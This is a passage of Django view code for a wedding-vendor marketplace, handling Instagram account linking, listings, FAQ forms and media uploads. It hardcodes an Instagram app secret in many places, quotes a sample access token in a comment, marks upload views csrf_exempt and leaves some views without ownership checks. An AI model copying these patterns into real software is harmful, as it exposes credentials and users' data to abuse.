user_token = VendorInstagramToken.objects.filter(instagram_user_id=user_id).first()\n if user_token:\n user_token.delete()\n confirmation_code = 200\n else:\n confirmation_code = 403\n except:\n confirmation_code = 403\n\n status_url = reverse('instagram-deletion-status', kwargs={'confirmation_code': confirmation_code})\n status_url = request.build_absolute_uri(status_url)\n return JsonResponse({\n 'url': status_url,\n 'confirmation_code': confirmation_code,\n })\n\n\nclass InstagramDataDeletionSuccessView(LoginRequiredMixin, IsVendor, IsListingPresent, IsListingNotAssign, View):\n def get(self, *args, **kwargs):\n user = self.request.user\n vendor = Vendor.objects.filter(vendor_user=user).first()\n token = Vendor.objects.filter(vendor=vendor)\n context = {}\n if not token:\n context['status'] = \"Your data is deleted successfully\"\n else:\n context['status'] = \"Your data is not deleted! please try again\"\n return render(self.request, 'vendors/instagram_delete_status.html', context)\n\n\n# This view is a for handling return url from instagram view\nclass InstagramConnectView(IsListingPresent, IsListingNotAssign, View):\n def get(self, *args, **kwargs):\n '''\n Api return url like this\n https://hospitalsystemmanagement25.pythonanywhere.com/panel/\n dashboard.view/?code=AQBShYmhYJg7f4Ewdpkf1I9iPmtEsqd2-rH4NQnFv8yq7gg9h4mm7\n NXhVw3wFnlTHLnD6UpxLFQrcHN7s7AkH1F8hDLxPc1Y5pDpTNPQl5svw38VVjtcLedurCv\n dNaN4m6NiajZCnFZUQhcmXILOGFSnBD2uAuG3tEdVBMxAdN3yKfkgfG5QSu7nDrs-C\n 71FjItmhkiZWbGbmARFd74lBgv0lIo6nwqh6TdEfakASKbADQ#_\n '''\n instagram_basic_display = InstagramBasicDisplay(app_id='549315439403500',\n app_secret='0c3fd79c822b212973bbd2f63d523137',\n redirect_url='https://vowsnviews.com/auth/')\n\n code = self.request.GET.get('code', None)\n if code:\n short_token = instagram_basic_display.get_o_auth_token(code)\n '''\n get_o_auth_toekn return dict object like \n {'access_token': 'IGQVJXZA3BCdkVOU0htSFlxbkE4cnY5QVdzUExHNkljanZAPelgxbzlod1p1MnR5dFZAndDFDRFRkSGRPVlBJMXRLYVBVWlBnbGJUWEZAKLWRZAZAUdfeWxqTjBteHp1M1NOR0tyMmp1NzJDcG1OMEg3UWJQeV\n puaGxqRTVhaW5F', 'user_id': 17841446045166165}\n '''\n instagram_user_id = short_token.get('user_id')\n long_token = instagram_basic_display.get_long_lived_token(short_token.get('access_token'))\n long_token = json.dumps(long_token)\n user = self.request.user\n vendor = Vendor.objects.get(vendor_user=user)\n '''\n Save token receive from api for future use\n '''\n vendor_token = VendorInstagramToken(vendor=vendor, token=long_token)\n vendor_token.date_added = date.today()\n vendor_token.instagram_user_id = instagram_user_id\n vendor_token.save()\n messages.success(self.request, \"Your instagram Account Added Successfully\")\n return redirect('instagram-portfolio')\n else:\n raise HttpResponseBadRequest\n\n\ndef refreshInstagramToken(request, id):\n obj = VendorInstagramToken.objects.get(id=id)\n token_json = obj.token\n token = json.loads(token_json)\n access_token = token.access_token\n url = reverse('vendor-instagram-connect')\n url = request.build_absolute_uri(url)\n instagram_basic_display = InstagramBasicDisplay(app_id='549315439403500',\n app_secret='0c3fd79c822b212973bbd2f63d523137',\n redirect_url='https://vowsnviews.com/auth/')\n token = instagram_basic_display.refresh_token(access_token)\n token_json = json.dumps(token)\n obj.token = token_json\n obj.date_added = date.today()\n return True\n\n\nclass InstagramDisconnectView(LoginRequiredMixin, IsVendor, IsListingPresent, IsListingNotAssign, View):\n def get(self, *args, **kwargs):\n vendor = Vendor.objects.get(vendor_user=self.request.user)\n vendor_token = VendorInstagramToken.objects.filter(vendor=vendor).first()\n if vendor_token:\n vendor_token.delete()\n messages.success(self.request, \"Instagram Disconnect Successfully.\")\n else:\n messages.warning(self.request, \"Sorry! Instagram Not connected yet.\")\n return redirect('instagram-portfolio')\n\n\nclass VendorInstagram(View):\n def get(self, *args, **kwargs):\n vendor_id = self.kwargs.get('pk')\n redirect_url = self.request.META.get('HTTP_REFERER')\n vendor = Vendor.objects.filter(id=vendor_id).last()\n if not vendor:\n messages.warning(self.request, \"Vendor not found\")\n if redirect_url:\n return redirect(redirect_url)\n return redirect('listing-list-view')\n instagram_token = VendorInstagramToken.objects.filter(vendor=vendor).first()\n context = {}\n if instagram_token:\n token_json = instagram_token.token\n token = json.loads(token_json)\n instagram_basic_display = InstagramBasicDisplay(app_id='549315439403500',\n app_secret='0c3fd79c822b212973bbd2f63d523137',\n redirect_url='https://vowsnviews.com/auth/')\n instagram_basic_display.set_access_token(token['access_token'])\n profile = instagram_basic_display.get_user_profile()\n media = instagram_basic_display.get_user_media()\n\n media_data = media['data']\n media_urls = []\n video_urls = []\n\n while len(media_urls) < 30 or len(video_urls) < 30:\n for data in media['data']:\n if data['media_type'] == \"IMAGE\":\n media_urls.append(data['media_url'])\n elif data['media_type'] == \"VIDEO\":\n video_urls.append(data['media_url'])\n media = instagram_basic_display.pagination(media)\n if not media:\n break\n context['media_urls'] = media_urls # it has urls of all media from instagram in the list\n context['video_urls'] = video_urls\n\n listing = vendor.draft_listing\n if listing:\n context['photos'] = listing.photos.all()\n context['videos'] = listing.videos.all()\n context['object'] = vendor\n return render(self.request, 'vendors/instagram.html', context)\n\n\nclass VendorListingDetailView(LoginRequiredMixin, IsVendor, IsListingPresent, IsListingNotAssign, UserPassesTestMixin,DetailView):\n model = Listing\n template_name = 'vendors/list_details.html'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n return context\n\n def test_func(self):\n user = self.request.user\n vendor = Vendor.objects.filter(vendor_user = user).first()\n listing = self.get_object()\n if not vendor.listing == listing:\n return False\n return True\n\n\n\nclass ListingAddView(LoginRequiredMixin, IsVendor, IsListingNotAssign, View):\n context = {}\n\n def get(self, *args, **kwargs):\n user = self.request.user\n vendor = Vendor.objects.get(vendor_user=user)\n if vendor.get_listing():\n return redirect('vendor-home')\n listing_category = vendor.listing_parent_category\n if listing_category.title == \"Venue\":\n context = {}\n context['form'] = VenueListingForm(None)\n context['area_form'] = AreaForm(None)\n context['pricing_form'] = AdditionalPricingForm(None)\n '''\n Note: put one hidden field in both venue_listing & listing_add template\n <input type=\"hidden\" name=\"form_name\" value=\"VenueForm\"> or\n <input type=\"hidden\" name=\"form_name\" value=\"ListingForm\">\n '''\n return render(self.request, 'vendors/venue_listing_add.html', context)\n else:\n self.context['form'] = ListingForm(None)\n return render(self.request, 'vendors/listing_add_update.html', self.context)\n\n def post(self, *args, **kwargs):\n form_name = self.request.POST.get('form_name', None)\n user = self.request.user\n vendor = Vendor.objects.get(vendor_user=user)\n parent_category = ParentListingCategory.objects.get(title=vendor.listing_parent_category.title)\n listing_category = ListingCategory.objects.get(title=vendor.listing_sub_category.title)\n if form_name == 'VenueForm':\n draft_listing = VenueListingForm(self.request.POST, self.request.FILES)\n area_form = AreaForm(self.request.POST, self.request.FILES)\n pricing_form = AdditionalPricingForm(self.request.POST)\n if draft_listing.is_valid():\n listing_obj = draft_listing.instance\n listing_obj.category = listing_category\n listing_obj.parent_category = parent_category\n listing_obj.meta_title = listing_obj.title\n listing_obj.meta_description = listing_obj.short_description\n listing_obj.save()\n\n area_items = self.request.POST.getlist(\"area_data[]\")\n pricing_items = self.request.POST.getlist(\"pricing_data[]\")\n\n for item in area_items:\n area = Area.objects.get(id=item)\n listing_obj.area.add(area)\n listing_obj.save()\n\n for item in pricing_items:\n pricing = AddititionalPricing.objects.get(id=item)\n listing_obj.additional_pricing.add(pricing)\n listing_obj.save()\n\n listing_obj.save()\n vendor.draft_listing = listing_obj\n vendor.save()\n messages.success(self.request, \"Listing Created Successfully\")\n return redirect('faq-answers')\n else:\n context = {}\n context['form'] = VenueListingForm(self.request.POST, self.request.FILES)\n context['area_form'] = AreaForm(self.request.POST, self.request.FILES)\n context['pricing_form'] = AdditionalPricingForm(self.request.POST)\n '''\n Note: put one hidden field in both venue_listing & listing_add template\n <input type=\"hidden\" name=\"form_name\" value=\"VenueForm\"> or\n <input type=\"hidden\" name=\"form_name\" value=\"ListingForm\">\n '''\n return render(self.request, 'vendors/venue_listing_add.html', context)\n\n\n\n elif form_name == 'ListingForm':\n listing = ListingForm(self.request.POST, self.request.FILES)\n if listing.is_valid():\n listing_obj = listing.instance\n listing_obj.meta_title = listing_obj.title\n listing_obj.meta_description = listing_obj.short_description\n listing_obj.parent_category = parent_category\n listing_obj.category = listing_category\n listing_obj.save()\n vendor.draft_listing = listing_obj\n vendor.save()\n messages.success(self.request, \"Listing Created Successfully\")\n return redirect('vendor-home')\n else:\n messages.error(self.request, \"Data is not valid\")\n return redirect('add-listing')\n\n\nclass FAQAddView(LoginRequiredMixin, IsVendor, IsListingPresent, IsListingNotAssign, View):\n\n def dispatch(self, request, *args, **kwargs):\n user = request.user\n vendor = Vendor.objects.get(vendor_user=user)\n if vendor.draft_listing:\n return super().dispatch(request, *args, **kwargs)\n else:\n messages.warning(self.request, \"Please Add Listing before adding faq.\")\n return redirect('add-listing')\n\n def get(self, request, *args, **kwargs):\n user = request.user\n vendor = Vendor.objects.get(vendor_user=user)\n listing = vendor.draft_listing\n if not listing.is_faq_answered:\n if listing.parent_category.title == \"Venue\":\n faq = VenueFAQ()\n form = VenueFAQForm(None)\n return render(self.request, 'vendors/venue_faq_add.html', {'faq': faq, 'form': form})\n elif listing.parent_category.title == \"Bridal Wear\":\n faq = BridalWearFAQ()\n form = BridalWearFAQForm(None)\n return render(self.request, 'vendors/bridal_faq_add.html', {'faq': faq, 'form': form})\n elif listing.parent_category.title == 'Groom Wear':\n faq = GroomWearFAQ()\n form = GroomWearFAQForm(None)\n return render(self.request, 'vendors/groom_faq_add.html', {'faq': faq, 'form': form})\n elif listing.parent_category.title == 'Makeup & Mehndi':\n faq = MakeupFAQ()\n form = MakeupFAQForm(None)\n return render(self.request, 'vendors/makeup_faq_add.html', {'faq': faq, 'form': form})\n elif listing.parent_category.title == 'Photographer':\n faq = PhotographerFAQ()\n form = PhotographerFAQForm(None)\n return render(self.request, 'vendors/photographer_faq_add.html', {'faq': faq, 'form': form})\n elif listing.parent_category.title == 'Planning & Decor':\n faq = DecorFAQ()\n form = DecorFAQForm(None)\n return render(self.request, 'vendors/planning_faq_add.html', {'faq': faq, 'form': form})\n elif listing.parent_category.title == 'Invites':\n faq = InvitationFAQ()\n form = InvitationFAQForm(None)\n return render(self.request, 'vendors/invites_faq_add.html', {'faq': faq, 'form': form})\n elif listing.parent_category.title == 'Gifts':\n faq = GiftsFAQ()\n form = GiftsFAQForm(None)\n return render(self.request, 'vendors/gifts_faq_add.html', {'faq': faq, 'form': form})\n else:\n messages.warning(self.request, \"Listing not found\")\n return redirect('add-listing')\n else:\n messages.warning(self.request, \"FAQ already Answered\")\n return redirect('vendor-home')\n\n def post(self, request, *args, **kwargs):\n user = request.user\n vendor = Vendor.objects.get(vendor_user=user)\n listing = vendor.draft_listing\n category = listing.parent_category.title\n if category == \"Venue\":\n form = VenueFAQForm(request.POST)\n elif category == \"Bridal Wear\":\n form = BridalWearFAQForm(request.POST)\n elif category == 'Groom Wear':\n form = GroomWearFAQForm(request.POST)\n elif category == 'Makeup & Mehndi':\n form = MakeupFAQForm(request.POST)\n elif category == 'Photographer':\n form = PhotographerFAQForm(request.POST)\n elif category == 'Planning & Decor':\n form = DecorFAQForm(request.POST)\n elif category == 'Invites':\n form = InvitationFAQForm(request.POST)\n elif category == 'Gifts':\n form = GiftsFAQForm(request.POST)\n else:\n form = VenueFAQForm(None)\n\n if form.is_valid():\n if id:\n\n draft_listing = vendor.draft_listing\n faq_object = form.save()\n faq_object.draft_listing = draft_listing\n if vendor.listing:\n faq_object.listing = vendor.listing\n faq_object.save()\n draft_listing.is_faq_answered = True\n draft_listing.save()\n messages.success(self.request, \"FAQ Added Successfully\")\n if not is_instagram_connect(request):\n return redirect('instagram-portfolio')\n return redirect('vendor-home')\n else:\n messages.error(self.request, \"Error\")\n return HttpResponseBadRequest\n else:\n messages.error(self.request, \"Form not valid\")\n return redirect('faq-answers')\n\n\nclass FAQUpdateView(LoginRequiredMixin, IsVendor, IsListingPresent, IsListingNotAssign, View):\n\n def get(self, *args, **kwargs):\n user = self.request.user\n vendor = Vendor.objects.get(vendor_user=user)\n listing = vendor.draft_listing\n category = listing.parent_category.title\n if category == \"Venue\":\n faq = VenueFAQ.objects.get(draft_listing=listing)\n form = VenueFAQForm(instance=faq)\n return render(self.request, 'vendors/venue_faq_add.html', {'faq': faq, 'form': form})\n\n elif category == \"Bridal Wear\":\n faq = BridalWearFAQ.objects.get(draft_listing=listing)\n form = BridalWearFAQForm(instance=faq)\n return render(self.request, 'vendors/bridal_faq_add.html', {'faq': faq, 'form': form})\n\n elif category == 'Groom Wear':\n faq = GroomWearFAQ.objects.get(draft_listing=listing)\n form = GroomWearFAQForm(instance=faq)\n return render(self.request, 'vendors/groom_faq_add.html', {'faq': faq, 'form': form})\n elif category == 'Makeup & Mehndi':\n faq = MakeupFAQ.objects.get(draft_listing=listing)\n form = MakeupFAQForm(instance=faq)\n return render(self.request, 'vendors/makeup_faq_add.html', {'faq': faq, 'form': form})\n\n elif category == 'Photographer':\n faq = PhotographerFAQ.objects.get(draft_listing=listing)\n form = PhotographerFAQForm(instance=faq)\n return render(self.request, 'vendors/photographer_faq_add.html', {'faq': faq, 'form': form})\n\n elif category == 'Planning & Decor':\n faq = DecorFAQ.objects.get(draft_listing=listing)\n form = DecorFAQForm(instance=faq)\n return render(self.request, 'vendors/planning_faq_add.html', {'faq': faq, 'form': form})\n\n elif category == 'Invites':\n faq = InvitationFAQ.objects.get(draft_listing=listing)\n form = InvitationFAQForm(instance=faq)\n return render(self.request, 'vendors/invites_faq_add.html', {'faq': faq, 'form': form})\n elif category == 'Gifts':\n faq = GiftsFAQ.objects.get(draft_listing=listing)\n form = GiftsFAQForm(instance=faq)\n return render(self.request, 'vendors/gifts_faq_add.html', {'faq': faq, 'form': form})\n else:\n messages.warning(self.request, \"Lisitng not found\")\n return redirect('vendor-home')\n\n def post(self, request, *args, **kwargs):\n user = request.user\n vendor = Vendor.objects.get(vendor_user=user)\n listing = vendor.draft_listing\n category = listing.parent_category.title\n if category == \"Venue\":\n form = VenueFAQForm(request.POST)\n elif category == \"Bridal Wear\":\n form = BridalWearFAQForm(request.POST)\n elif category == 'Groom Wear':\n form = GroomWearFAQForm(request.POST)\n elif category == 'Makeup & Mehndi':\n form = MakeupFAQForm(request.POST)\n elif category == 'Photographer':\n form = PhotographerFAQForm(request.POST)\n elif category == 'Planning & Decor':\n form = DecorFAQForm(request.POST)\n elif category == 'Invites':\n form = InvitationFAQForm(request.POST)\n elif category == 'Gifts':\n form = GiftsFAQForm(request.POST)\n else:\n form = VenueFAQForm(None)\n\n if form.is_valid():\n if id:\n draft_listing = vendor.draft_listing\n old_faq = draft_listing.get_faq()\n try:\n old_faq.delete()\n except:\n messages.warning(self.request, \"FAQ not present, first add FAQ\")\n return redirect('faq-answers')\n faq_object = form.save()\n faq_object.draft_listing = draft_listing\n if vendor.listing:\n faq_object.listing = vendor.listing\n faq_object.save()\n draft_listing.is_faq_answered = True\n draft_listing.save()\n messages.success(self.request, \"FAQ Updated Successfully\")\n return redirect('vendor-home')\n else:\n messages.error(self.request, \"Error\")\n return HttpResponseBadRequest\n else:\n messages.error(self.request, \"Form not valid\")\n return redirect('faq-update')\n\n\nclass AdditionalPricingCreateView(LoginRequiredMixin, IsVendor, IsListingPresent, IsListingNotAssign,\n SuccessMessageMixin, CreateView):\n model = AddititionalPricing\n form_class = AdditionalPricingForm\n template_name = 'vendors/form.html'\n success_message = 'Additional Pricing added successfully to your listing'\n\n def form_valid(self, form):\n pricing = form.instance\n pricing.save()\n draft_listing = DraftListing.objects.get(pk=self.kwargs.get('pk'))\n draft_listing.additional_pricing.add(pricing)\n draft_listing.is_update = True\n draft_listing.is_approved = False\n draft_listing.save()\n return redirect('vendor-home')\n\n\nclass VendorListingUpdateView(LoginRequiredMixin, IsVendor, IsListingPresent, IsListingNotAssign, SuccessMessageMixin,\n View):\n\n def get(self, request, *args, **kwargs):\n user = request.user\n vendor = Vendor.objects.filter(vendor_user=user).first()\n context = {}\n draft_listing = vendor.draft_listing\n context['draft_listing'] = draft_listing\n if draft_listing:\n if draft_listing.parent_category.title == \"Venue\":\n area = draft_listing.area.all()\n additional_pricing = draft_listing.additional_pricing.all()\n context['area'] = area\n context['area_form'] = AreaForm(None)\n context['additional_pricing'] = additional_pricing\n context['listing'] = draft_listing\n context['form'] = VenueListingForm(instance=draft_listing)\n context['locations'] = ListingLocation.objects.all()\n context['sub_locations'] = SubListingLocation.objects.all()\n return render(self.request, 'vendors/venue_listing_update.html', context)\n else:\n listing = draft_listing\n context['listing'] = draft_listing\n context['form'] = ListingForm(instance=listing)\n return render(self.request, 'vendors/listing_add_update.html', context)\n else:\n messages.warning(self.request, \"Listing not Found\")\n return redirect('vendor-home')\n\n def post(self, request):\n user = request.user\n vendor = Vendor.objects.filter(vendor_user=user).first()\n draft_listing = vendor.draft_listing\n parent_category = vendor.listing_parent_category\n category = vendor.listing_sub_category\n context = {}\n old_is_approved = draft_listing.is_approved\n if vendor.listing_parent_category.title == \"Venue\":\n venue_form = VenueListingForm(request.POST, request.FILES)\n area_form = AreaForm(request.POST)\n pricing_form = AdditionalPricingForm(request.POST)\n if venue_form.is_valid():\n listing = listing_backup = draft_listing\n # area_list = listing.area.all()\n # for item in area_list:\n # item.delete()\n # pricing_list = listing.additional_pricing.all()\n # for item in pricing_list:\n # item.delete()\n listing.delete()\n venue_listing = venue_form.instance\n venue_listing.save()\n\n # Image\n image_main = request.FILES.get('image_main')\n image_2 = request.FILES.get('image_2')\n image_3 = request.FILES.get('image_3')\n image_4 = request.FILES.get('image_4')\n image_5 = request.FILES.get('image_5')\n\n image_main_clear = request.POST.get('image_main-clear', None)\n image_2_clear = request.POST.get('image_2-clear', None)\n image_3_clear = request.POST.get('image_3-clear', None)\n image_4_clear = request.POST.get('image_4-clear', None)\n image_5_clear = request.POST.get('image_5-clear', None)\n\n if image_main is None:\n venue_listing.image_main = listing_backup.image_main\n if image_2 is None:\n venue_listing.image_2 = listing_backup.image_2\n if image_3 is None:\n venue_listing.image_3 = listing_backup.image_3\n if image_4 is None:\n venue_listing.image_4 = listing_backup.image_4\n if image_5 is None:\n venue_listing.image_5 = listing_backup.image_5\n\n if image_main_clear == \"on\":\n venue_listing.image_main = None\n if image_2_clear == \"on\":\n venue_listing.image_2 = None\n if image_3_clear == \"on\":\n venue_listing.image_3 = None\n if image_4_clear == \"on\":\n venue_listing.image_4 = None\n if image_5_clear == \"on\":\n venue_listing.image_5 = None\n\n venue_listing.parent_category = ParentListingCategory.objects.get(title='Venue')\n\n area_items = self.request.POST.getlist(\"area_data[]\")\n pricing_items = self.request.POST.getlist(\"pricing_data[]\")\n\n for item in area_items:\n area = Area.objects.get(id=item)\n if area:\n venue_listing.area.add(area)\n venue_listing.save()\n\n for item in pricing_items:\n pricing = AddititionalPricing.objects.get(id=item)\n if pricing:\n venue_listing.additional_pricing.add(pricing)\n venue_listing.save()\n\n\n if old_is_approved:\n venue_listing.is_approved = False\n venue_listing.is_update = True\n venue_listing.is_declined = False\n else:\n venue_listing.is_declined = False\n\n venue_listing.parent_category = parent_category\n venue_listing.category = category\n venue_listing.save()\n vendor.draft_listing = venue_listing\n\n vendor.save()\n messages.success(request, \"Listing Updated Successfully\")\n return redirect('vendor-home')\n else:\n messages.error(self.request, \"Listing Form is not valid\")\n context['form'] = VenueListingForm(self.request.POST, self.request.FILES)\n context['area_form'] = AreaForm(self.request.POST, self.request.FILES)\n context['pricing_form'] = AdditionalPricingForm(self.request.POST)\n return render(self.request, 'vendors/venue_listing_update.html', context)\n else:\n listing_form = ListingForm(request.POST, request.FILES)\n if listing_form.is_valid():\n listing = vendor.draft_listing\n listing_backup = listing\n # Image field\n image_main = request.FILES.get('image_main')\n image_2 = request.FILES.get('image_2')\n image_3 = request.FILES.get('image_3')\n image_4 = request.FILES.get('image_4')\n image_5 = request.FILES.get('image_5')\n\n image_main_clear = request.POST.get('image_main-clear', None)\n image_2_clear = request.POST.get('image_2-clear', None)\n image_3_clear = request.POST.get('image_3-clear', None)\n image_4_clear = request.POST.get('image_4-clear', None)\n image_5_clear = request.POST.get('image_5-clear', None)\n\n listing.delete()\n listing = listing_form.instance\n if image_main is None:\n listing.image_main = listing_backup.image_main\n if image_2 is None:\n listing.image_2 = listing_backup.image_2\n if image_3 is None:\n listing.image_3 = listing_backup.image_3\n if image_4 is None:\n listing.image_4 = listing_backup.image_4\n if image_5 is None:\n listing.image_5 = listing_backup.image_5\n\n if image_main_clear == \"on\":\n listing.image_main = None\n if image_2_clear == \"on\":\n listing.image_2 = None\n if image_3_clear == \"on\":\n listing.image_3 = None\n if image_4_clear == \"on\":\n listing.image_4 = None\n if image_5_clear == \"on\":\n listing.image_5 = None\n listing.save()\n listing.is_approved = False\n listing.is_update = True\n listing.is_declined = False\n listing.parent_category = parent_category\n listing.category = category\n listing.save()\n vendor.draft_listing = listing\n vendor.save()\n messages.success(request, \"Listing Updated Successfully\")\n return redirect('vendor-home')\n else:\n return redirect('vendor-listing-update')\n\n\nclass VenueListingUpdate(LoginRequiredMixin, IsVendor, IsListingPresent, IsListingNotAssign, SuccessMessageMixin,\n UpdateView):\n model = DraftListing\n fields = ('catering_policy', 'decor_policy', 'dj_policy')\n template_name = 'vendors/update.html'\n success_message = 'Listing Updated Successfully'\n\n def form_valid(self, form):\n draft_listing = form.instance\n if draft_listing.is_approved:\n draft_listing.is_update = True\n draft_listing.is_approved = False\n \n draft_listing.save()\n return redirect('vendor-home')\n\n\n@method_decorator(csrf_exempt, name='dispatch')\nclass InstagramPortfolioView(LoginRequiredMixin, IsVendor, IsListingPresent, IsListingNotAssign, View):\n model = Vendor\n\n def get(self, *args, **kwargs):\n context = {}\n user = self.request.user\n vendor = self.model.objects.get(vendor_user=user)\n listing = vendor.draft_listing\n instagram_token = VendorInstagramToken.objects.filter(vendor=vendor).first()\n short_url = reverse('vendor-instagram-connect')\n full_url = self.request.build_absolute_uri(short_url)\n if instagram_token:\n\n token_json = instagram_token.token\n token = json.loads(token_json)\n\n instagram_basic_display = InstagramBasicDisplay(app_id='549315439403500',\n app_secret='0c3fd79c822b212973bbd2f63d523137',\n redirect_url='https://vowsnviews.com/auth/')\n instagram_basic_display.set_access_token(token['access_token'])\n profile = instagram_basic_display.get_user_profile()\n media = instagram_basic_display.get_user_media()\n\n media_data = media['data']\n media_urls = []\n video_urls = []\n while len(media_urls) < 30 or len(video_urls) < 30:\n print(len(media_urls), len(video_urls))\n if len(media_urls) > 30 or len(video_urls) > 30:\n break\n for data in media['data']:\n if data['media_type'] == \"IMAGE\":\n media_urls.append(data['media_url'])\n elif data['media_type'] == \"VIDEO\":\n video_urls.append(data['media_url'])\n media = instagram_basic_display.pagination(media)\n if not media:\n break\n context['media_urls'] = media_urls # it has urls of all media from instagram in the list\n context['video_urls'] = video_urls\n elif listing.photos:\n context['photos'] = listing.photos.all()\n context['videos'] = listing.videos.all()\n context['photos_len'] = len(listing.photos.all())\n context['videos_len'] = len(listing.videos.all())\n context['listing'] = listing\n instagram_basic_display = InstagramBasicDisplay(app_id='549315439403500',\n app_secret='0c3fd79c822b212973bbd2f63d523137',\n redirect_url='https://vowsnviews.com/auth/')\n context['instagram_connect_url'] = instagram_basic_display.get_login_url()\n else:\n instagram_basic_display = InstagramBasicDisplay(app_id='549315439403500',\n app_secret='0c3fd79c822b212973bbd2f63d523137',\n redirect_url='https://vowsnviews.com/auth/')\n context['instagram_connect_url'] = instagram_basic_display.get_login_url()\n\n if listing.photos.all():\n context['photos'] = listing.photos.all()\n if listing.videos.all():\n context['videos'] = listing.videos.all()\n context['object'] = vendor\n return render(self.request, 'vendors/portfolio.html', context)\n\n def post(self, request, *args, **kwargs):\n # data from ajax\n img_media = request.FILES.getlist('images[]', None)\n video_media = request.FILES.getlist('videos[]', None)\n user = self.request.user\n vendor = Vendor.objects.filter(vendor_user=user).first()\n listing = vendor.draft_listing\n\n # data from database to check if already media present\n photos = listing.photos.all()\n videos = listing.videos.all()\n if len(photos) > 15:\n messages.warning(request, \"Only 15 images should be uploaded\")\n return redirect('instagram-portfolio')\n if len(videos) > 5:\n messages.warning(request, \"Only 5 videos should be uploaded\")\n return redirect('instagram-portfolio')\n if len(img_media) + len(photos) > 15:\n messages.warning(request, \"Only 15 images are allowed\")\n return redirect('add-media')\n if len(video_media) + len(videos) > 5:\n messages.warning(request, \"Only 5 videos are allowed\")\n return redirect('add-media')\n if vendor:\n if vendor.draft_listing and vendor.listing:\n listing = vendor.listing\n draft_listing = vendor.draft_listing\n for item in img_media:\n obj = ListingPhoto.objects.create(file=item)\n obj.save()\n draft_listing.photos.add(obj)\n listing.photos.add(obj)\n listing.save()\n draft_listing.save()\n\n for item in video_media:\n obj = ListingVideo.objects.create(file=item)\n obj.save()\n draft_listing.videos.add(obj)\n listing.videos.add(obj)\n listing.save()\n draft_listing.save()\n\n messages.success(request, \"Media added successfully\")\n return redirect('vendor-home')\n elif vendor.draft_listing:\n draft_listing = vendor.draft_listing\n for item in img_media:\n obj = ListingPhoto.objects.create(file=item)\n obj.save()\n draft_listing.photos.add(obj)\n draft_listing.save()\n\n for item in video_media:\n obj = ListingVideo.objects.create(file=item)\n obj.save()\n draft_listing.videos.add(obj)\n draft_listing.save()\n\n messages.success(request, \"Media added successfully\")\n return redirect('vendor-home')\n else:\n messages.warning(request, \"Listing not exist, first add listing\")\n return redirect('add-listing')\n else:\n messages.warning(request, \"Vendor does not exist\")\n return redirect('home')\n\n\nclass FAQDisplayView(LoginRequiredMixin, IsVendor, IsListingNotAssign, View):\n\n def get(self, *args, **kwargs):\n user = self.request.user\n vendor = Vendor.objects.get(vendor_user=user)\n context = {}\n if vendor.draft_listing:\n if vendor.draft_listing.is_faq_answered:\n context['faq'] = vendor.draft_listing.get_faq()\n return render(self.request, 'vendors/faq.html', context)\n else:\n messages.warning(self.request, \"FAQ not answered yet! please answer FAQ\")\n return redirect('faq-answers')\n else:\n messages.warning(self.request, \"Please add Listing\")\n return redirect('add-listing')\n\n\nclass ListingContactSeenUpdate(LoginRequiredMixin, IsVendor, IsListingNotAssign, View):\n def get(self, *args, **kwargs):\n listing_contact = ListingContact.objects.filter(id=kwargs.get('pk')).first()\n if listing_contact:\n listing_contact.read = True\n listing_contact.save()\n if self.request.META.get('HTTP_REFERER'):\n return HttpResponseRedirect(self.request.META.get('HTTP_REFERER'))\n return redirect('contact-list')\n else:\n messages.warning(self.request, \"Contact does not exist!\")\n if self.request.META.get('HTTP_REFERER'):\n return HttpResponseRedirect(self.request.META.get('HTTP_REFERER'))\n return redirect('contact-list')\n\n\nclass VendorInquiryListView(LoginRequiredMixin, IsVendor, IsListingPresent, IsListingNotAssign, View):\n template_name = 'vendors/inquiry_list.html'\n\n def get(self, *args, **kwargs):\n context = {}\n user = self.request.user\n vendor = Vendor.objects.get(vendor_user=user)\n if not vendor.listing:\n messages.warning(self.request, \"Your listing is not approved yet!\")\n return redirect('vendor-home')\n context['contact_list'] = ListingContact.objects.filter(listing=vendor.listing)\n return render(self.request, self.template_name, context)\n\n\nclass VendorInquiryDetailView(LoginRequiredMixin, IsVendor, IsListingPresent, IsListingNotAssign, DetailView):\n template_name = 'vendors/inquiry_detail.html'\n model = ListingContact\n\n\n@method_decorator(csrf_exempt, name='dispatch')\nclass MediaAddView(LoginRequiredMixin, IsVendor, IsListingPresent, IsListingNotAssign, View):\n def get(self, *args, **kwargs):\n user = self.request.user\n vendor = Vendor.objects.filter(vendor_user=user).first()\n # Condtition\n # if is_instagram_connect(self.request):\n # messages.success(self.request, \"Media already added from instagram\")\n # return redirect('vendor-home')\n #\n # if vendor.draft_listing:\n # photos = vendor.draft_listing.photos.all()\n # if photos:\n # messages.warning(self.request, \"Media already present\")\n # return redirect('vendor-home')\n return render(self.request, 'vendors/bulk_photo_video.html')\n\n def post(self, request, *args, **kwargs):\n img_media = request.FILES.getlist('images[]', None)\n video_media = request.FILES.getlist('videos[]')\n user = self.request.user\n vendor = Vendor.objects.filter(vendor_user=user).first()\n\n if len(img_media) > 15:\n messages.warning(request, \"Only 15 images are allowed\")\n return redirect('add-media')\n if len(video_media) > 5:\n messages.warning(request, \"Only 5 videos are allowed\")\n return redirect('add-media')\n\n if vendor:\n\n if vendor.draft_listing and vendor.listing:\n listing = vendor.listing\n draft_listing = vendor.draft_listing\n for item in img_media:\n obj = ListingPhoto.objects.create(file=item)\n obj.save()\n draft_listing.photos.add(obj)\n listing.photos.add(obj)\n listing.save()\n draft_listing.save()\n\n for item in video_media:\n obj = ListingVideo.objects.create(file=item)\n obj.save()\n draft_listing.videos.add(obj)\n listing.videos.add(obj)\n listing.save()\n draft_listing.save()\n\n messages.success(request, \"Media added successfully\")\n return redirect('vendor-home')\n elif vendor.draft_listing:\n draft_listing = vendor.draft_listing\n for item in img_media:\n obj = ListingPhoto.objects.create(file=item)\n obj.save()\n draft_listing.photos.add(obj)\n draft_listing.save()\n\n for item in video_media:\n obj = ListingVideo.objects.create(file=item)\n obj.save()\n draft_listing.videos.add(obj)\n draft_listing.save()\n\n messages.success(request, \"Media added successfully\")\n return redirect('vendor-home')\n else:\n messages.warning(request, \"Listing not exist, first add listing\")\n return redirect('add-listing')\n else:\n messages.warning(request, \"Vendor does not exist\")\n return redirect('home')\n\n\nclass CreateOfferView(LoginRequiredMixin, IsVendor, IsListingNotAssign, UserPassesTestMixin, CreateView):\n model = ListingOffer\n template_name = 'vendors/create_offer.html'\n form_class = ListingOfferForm\n\n def form_valid(self, form):\n listing_offer = form.instance\n listing_offer.save()\n vendor = Vendor.objects.filter(vendor_user=self.request.user).first()\n 